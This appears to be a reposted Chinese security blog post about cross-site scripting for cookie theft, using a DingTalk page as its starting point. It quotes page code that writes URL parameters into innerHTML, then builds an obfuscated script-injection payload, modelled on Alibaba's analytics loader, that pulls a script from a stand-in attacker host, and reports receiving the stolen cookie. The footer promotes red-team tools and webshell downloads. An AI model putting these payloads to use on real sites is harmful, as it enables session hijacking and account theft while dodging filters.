运维 · 2023年10月17日 0

通过钉钉网页上的js学习xss打cookie

做完了一个项目,然后没啥事做,无意看到了一个钉钉的外部链接:

查看源码,复制其中的代码:

try {        var search = location.search;        if (search && search.length > 1 && search.charAt(0) === '?') {            search = search.substr(1);            var pairs = search.split('&');            var kv = {};            for (var i in pairs) {                var parts = pairs[i].split('=');                if (parts && parts.length > 1) {                    kv[parts[0]] = parts[1];                }            }        }        var errcode = kv['errcode'];        var errmsg = kv['errmsg'];        if (errcode) {            var divCode = document.getElementById('code');            if (divCode) {                divCode.innerHTML += ('errcode: ' + errcode);            }        }        if (errmsg) {            var divMsg = document.getElementById('msg');            if (divMsg) {                divMsg.innerHTML += ('errmsg: ' + errmsg);            }        }    }    catch (e) {console.log(e);}

关键部分是:

    

 

写入errcode和errmsg到divCode和divMsg中。

其中errcode和errmsg都是我们可控的。

打开console简单测试下:

不懂没关系直接做:

      

 

   


说明我们外部可控,导致这个原因是因为遍历的是location.search

本地搓个demo:    

 

只要errcode和errmsg为xss代码,即可触发xss攻击。很可惜这里。最后做了处理。

正题:加载第三方js代码:

刷新钉钉页面:

    

发现加载了一些js链接依赖:

查看源码,看看他怎么调用的:

<body><script>with(document)with(body)with(insertBefore(createElement("script"),firstChild))setAttribute("exparams","category=&userid=&aplus&yunid=&asid=AQAAAACQE5FgnOSuMgAAAABIYPwz9qqvRg==",id="tb-beacon-aplus",src="//g.alicdn.com/alilog/mlog/aplus_"+(navigator.userAgent.match(/iPhone|iPad|iPod|Android|AliApp|Yunos|cyclone/i)?"wap":"v2")+".js")</script><script>    with(document)with(body)with(insertBefore(createElement("script"),firstChild))setAttribute("exparams","category=&userid=&aplus&yunid=&asid=AQAAAABZTjBWUtd7PwAAAADFkiVZ/vYnWw==",id="tb-beacon-aplus",src=(location>"https"?"//s":"//a")+".tbcdn.cn/s/aplus_v2.js")</script><script>    with(document)with(body)with(insertBefore(createElement("script"),firstChild))setAttribute("exparams","category=&userid=&aplus&yunid=&asid=AQAAAACwfC9W2oJjYAAAAABOnkqCwpd6EA==",id="tb-beacon-aplus",src=(location>"https"?"//s":"//a")+".tbcdn.cn/s/aplus_v2.js")</script>


相当有意思,不同于以前的,以前我们xss打cookie/外部加载js都是是这样的:

<script src="http://attacker.com/xss.js"></script>

通过阿里加载js的方式,我们可以改造我们的加载方式如下:   

<script type="text/javascript">    with(document)with(body)with(insertBefore(createElement("script"),firstChild))setAttribute(src=("http://attac")+"ker.com/xs"+"s.js")</script>

 

我们访问网页:


直接加载了,查看我们是否接收到:

    

 

 

成功接收成功。

这个cookie窃取已经不是啥骚姿势了,只是这次通过阿里正常加载js地址,学习包装型的cookie获取。

作者:飘渺红尘原文地址:https://www.cnblogs.com/piaomiaohongchen/p/14729939.html

如有侵权,请联系删除

好文推荐

红队打点评估工具推荐
干货|红队项目日常渗透笔记
实战|后台getshell+提权一把梭
一款漏洞查找器(挖漏洞的有力工具)
神兵利器 | 附下载 · 红队信息搜集扫描打点利器
神兵利器 | 分享 直接上手就用的内存马(附下载)
推荐一款自动向hackerone发送漏洞报告的扫描器

欢迎关注 系统安全运维